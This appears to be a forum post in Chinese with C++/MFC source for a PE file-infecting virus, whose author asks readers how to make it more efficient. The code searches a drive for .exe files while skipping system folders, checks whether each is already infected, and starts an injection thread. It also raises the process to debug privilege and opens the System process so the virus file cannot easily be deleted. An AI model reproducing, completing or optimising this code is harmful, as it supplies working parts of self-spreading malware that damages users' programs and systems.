自己在测试过程中,感觉效率不是很好,所以希望哪位大佬能提出宝贵的意见,在此深表感谢!
1、遍历磁盘中PE文件
- /************************************************************************/
- /* 函数说明:遍历感染指定驱动器中所有exe文件
- /* 参 数:驱动器名称,如C:
- /* 返 回 值:遍历的数目
- /* By:Koma 2009.12.18 23:55
- /************************************************************************/
- int EmuDiskFiles(LPCTSTR lpStr)
- {
- CFileFind fd;
- CString strWild(lpStr);
- CString str = fd.GetFilePath(); // 获取每个文件的绝对路径
- int nTemp = 0; // 最大启动5个线程同时感染
- BOOL bRet;
- HANDLE hThread;
- DWORD dwTid;
- strWild += _T("//*.*"); // 查找类型
- bRet = fd.FindFile(strWild); // 开始查找
- while (bRet){ // 如果不为空,继续遍历
- ReEmu: bRet = fd.FindNextFile(); // 查找下一个文件
- if(fd.IsDots()) // 过滤目录自身与上层目录
- continue;
- else if(fd.IsDirectory()){ // 判断是否为文件夹
- CString str = fd.GetFilePath(); // 获取文件夹路径
- EmuDiskFiles(str); // 继续遍历子目录
- }
- else
- {
- int nTemp1 = str.Find("WINDOWS"); // 如果是XP系统目录则跳过
- int nTemp2 = str.Find("WINNT"); // 如果是WIN2000系统目录也跳过
- if(nTemp1>0 || nTemp2>0)
- goto ReEmu;
- if(str.Find(".exe")>0){ // 判断是否为exe扩展名
- if(!IsInfect(str)) // 判断是否感染过
- {
- di.m_strFilePath = str; // 设置感染文件的绝对路径
- hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid);
- WaitForSingleObject(hThread,INFINITE);
- //InfectPE(str);
- }
- continue;
- }
- }
- Sleep(10000); // 10秒种遍历一个文件
- }
- return 0;
- }
2、进程提权、保护文件
- /************************************************************************/
- /* 函数说明:提升进程权限到debug权限
- /* 参 数:无
- /* 返 回 值:无
- /* By:Koma 2009.12.17 21:20
- /************************************************************************/
- void RaiseToDebug()
- {
- HANDLE hToken;
- HANDLE hProcess = GetCurrentProcess(); // 获取当前进程句柄
- // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS
- if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
- {
- TOKEN_PRIVILEGES tkp;
- if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
- {
- tkp.PrivilegeCount = 1;
- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- //通知系统修改进程权限
- BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
- }
- CloseHandle(hToken);
- }
- }
- /************************************************************************/
- /* 函数说明:保护文件防止被轻易删除
- /* 参 数:无
- /* 返 回 值:无
- /* By:Koma 2009.12.17 21:42
- /************************************************************************/
- BOOL OccupyFile(LPCTSTR lpFileName)
- {
- RaiseToDebug(); // 提升权限
- // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限
- HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);
- if (hProcess == NULL)
- {
- hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8);
- if (hProcess == NULL)
- return FALSE;
- }
- HANDLE hFile = NULL;
- HANDLE hTargetHandle = NULL;
- // 创建一个文件,当然这个文件可以是本来就存在的
- hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
- if (hFile == INVALID_HANDLE_VALUE)
- {
- // 文件创建或打开失败
- CloseHandle( hProcess );
- return FALSE;
- }
- return TRUE;
- }